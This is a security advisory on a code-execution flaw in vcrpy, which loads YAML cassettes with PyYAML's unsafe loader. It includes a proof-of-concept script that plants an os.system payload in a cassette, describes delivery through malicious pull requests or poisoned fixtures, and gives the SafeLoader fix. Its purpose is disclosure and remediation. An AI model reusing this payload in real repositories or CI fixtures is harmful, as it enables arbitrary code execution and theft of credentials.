Is vcrpy safe?

GHSA-rpj2-4hq8-938g

vcrpy deserializes YAML cassette files with PyYAML's object-constructing loader (yaml.CLoader / yaml.Loader) instead of the safe loader (yaml.CSafeLoader / yaml.SafeLoader). A cassette containing a !!python/object/apply: (or similar) tag therefore executes arbitrary Python code the moment the cassette is loaded — including through the normal VCR().use_cassette() path, before any HTTP interaction is replayed.

This is not limited to environments lacking the libYAML C extension. CLoader uses the C parser but PyYAML's full Python constructor, so Python object tags execute under CLoader exactly as under the pure-Python Loader. Confirmed against vcrpy 8.1.1 + PyYAML 6.0.3 with CLoader active.

• vcr/serializers/yamlserializer.py — deserialize() → yaml.load(cassette_string, Loader=Loader) where Loader is CLoader/Loader. Reached on every cassette load.
• vcr/migration.py (~line 107) — yaml.load(preprocess_yaml(...), Loader=Loader). A second sink reached when the migration tool is run on a .yaml file. preprocess_yaml() only strips three known legacy tags, so other tags still execute.

Present in all releases inspected, 1.0.0 through 8.1.1.

import vcr, requests

# Attacker-supplied cassette. The payload sits in an ignored top-level key
# so the rest of the cassette stays valid; it fires during load.
open("evil.yaml", "w").write("""interactions:
- request:
    body: null
    headers: {Accept: ['*/*']}
    method: GET
    uri: http://example.com/
  response:
    body: {string: ok}
    headers: {Content-Type: ['text/plain']}
    status: {code: 200, message: OK}
_x: !!python/object/apply:os.system ['touch /tmp/VCRPY_YAML_RCE']
version: 1
""")

with vcr.use_cassette("evil.yaml"):      # <-- /tmp/VCRPY_YAML_RCE created here
    requests.get("http://example.com/")

Loading the cassette creates /tmp/VCRPY_YAML_RCE, demonstrating arbitrary command execution. Any Python callable can be invoked this way.

Arbitrary code execution in the process that loads the cassette, with that process's full privileges. Realistic delivery paths:

• A malicious cassette added in a pull request and loaded when CI runs the tests.
• A poisoned shared test-fixture repository or cassette artifact store.
• "Updated recorded HTTP fixtures" social-engineering.

Because cassettes are typically loaded by test suites in CI/CD and on developer machines, the exposed secrets are exactly the high-value ones in those environments: CI deployment credentials, cloud IAM roles, registry/publishing tokens, and source access.

Use the safe loader in vcr/serializers/yamlserializer.py:

try:
    from yaml import CDumper as Dumper
    from yaml import CSafeLoader as Loader
except ImportError:
    from yaml import Dumper
    from yaml import SafeLoader as Loader

def deserialize(cassette_string):
    return yaml.load(cassette_string, Loader=Loader)

Apply the same SafeLoader change in vcr/migration.py.

This is backwards compatible: vcrpy cassettes only contain standard YAML (scalars/lists/maps plus !!binary, all supported by SafeLoader/CSafeLoader), so existing cassettes load unchanged. vcrpy's serialize.deserialize() already catches yaml.constructor.ConstructorError, so a Python-tagged cassette now surfaces as the existing "old cassette format" ValueError instead of executing.

Recommended hardening: add a regression test that loads a cassette containing !!python/object/apply:os.system and asserts a ConstructorError/ValueError and that no side effect occurs.